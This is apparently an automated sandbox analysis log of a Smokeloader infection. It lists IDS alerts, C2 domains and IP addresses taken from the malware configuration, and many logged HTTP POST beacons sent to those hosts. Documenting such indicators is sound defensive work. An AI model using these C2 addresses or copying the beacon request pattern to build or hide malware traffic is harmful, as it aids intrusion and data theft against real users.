Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50036 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50013 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50008 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50025 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50031 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.5:50008 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.5:50031 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50024 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.5:50024 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50018 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50030 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50033 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.5:50030 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50037 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50029 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49942 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.5:50033 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.5:49942 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50004 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.5:50004 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50023 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.5:50023 -> 94.156.177.51:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 94.156.177.51 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 194.85.61.76 80			Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://constractionscity1991.lat/
Source: Malware configuration extractor	URLs: http://restructurisationservice.ru/
Source: Malware configuration extractor	URLs: http://connecticutproperty.ru/

Source: Joe Sandbox View	IP Address: 94.156.177.51 94.156.177.51
Source: Joe Sandbox View	IP Address: 194.85.61.76 194.85.61.76

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ferxsaaokurf.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 367Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://styqcrwcosyf.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 280Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fsprrtqwfiiffy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 252Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mitmeuexacjewbqk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 361Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dfnihlnejuw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 268Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://artooybeyrmney.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 171Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sjfvofnibfsk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 156Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dyokvtiefurhr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 306Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vtrdqlyaxcnu.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 298Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://weaudxshysghyed.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 177Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rmlqaewyesef.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 295Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ipahuxcmqng.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 258Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yebogyjrnkttg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 322Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mbqncgggetrc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 289Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qjvjeavryrj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 265Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jisidxjkipgcbgc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 316Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uloowasjyvbxjte.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 324Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jghirgxdfdtfej.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 264Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aemrvdevcrdbnu.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 130Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://caegqqrnvwyec.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 273Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gnjdvgwpgdpin.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 200Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://randrxuiexkkd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 264Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://egkbqdynffoi.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 166Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jkpvubjbjugu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 116Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pekwfbrjnpwbirs.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 326Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rllvcebkwfymagl.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 260Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ylfiqfbsvxsdiv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 306Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ggphwqihuaca.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 269Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nbcjwexjjibiqt.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 244Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tjeuikagddjvc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 125Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yylbqgigqdkmsn.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 266Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ufirisacqvk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 166Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ipingdnctvhe.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 333Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xvohygrorigngv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 248Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://iqmcbtituxk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 331Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rfcnfamftxutm.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 335Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ukacgtlptxyqmcdq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 335Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://daxnrqammsrat.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 230Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dsjauwmdkccdd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 150Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tupclykpsytewcxu.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 217Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://livftrpgdgydc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 297Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://drjnlhtrahircg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 192Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lhhcirujvotn.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 160Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://unomwhjdoaagckk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 202Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://drmwwxjjhona.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 223Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jqxnkwoysqpv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 245Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://swhsbooovvrt.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 205Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://odsnbdoswem.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 119Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jrdgusgumlecx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 319Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ljmtvjfukirthh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 325Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vlctchybxmsfmihs.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 332Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sgmoymnkvjycr.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 237Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nnfjblhdxniepv.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 230Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gwxdktlpqqov.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 167Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ygdgxkxjwyg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 270Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nqrqvcheqmo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 169Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fkdpjansght.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 145Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://viejsmtmgdxamty.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 234Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://quegfhrneryhjosy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 338Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ldbqkqcjtqgsavin.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 281Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mmxcodigejxhlx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 317Host: constractionscity1991.lat

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: constractionscity1991.lat
Source: global traffic	DNS traffic detected: DNS query: restructurisationservice.ru
Source: global traffic	DNS traffic detected: DNS query: connecticutproperty.ru

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ferxsaaokurf.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 367Host: constractionscity1991.lat

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 09:58:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 09:58:14 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
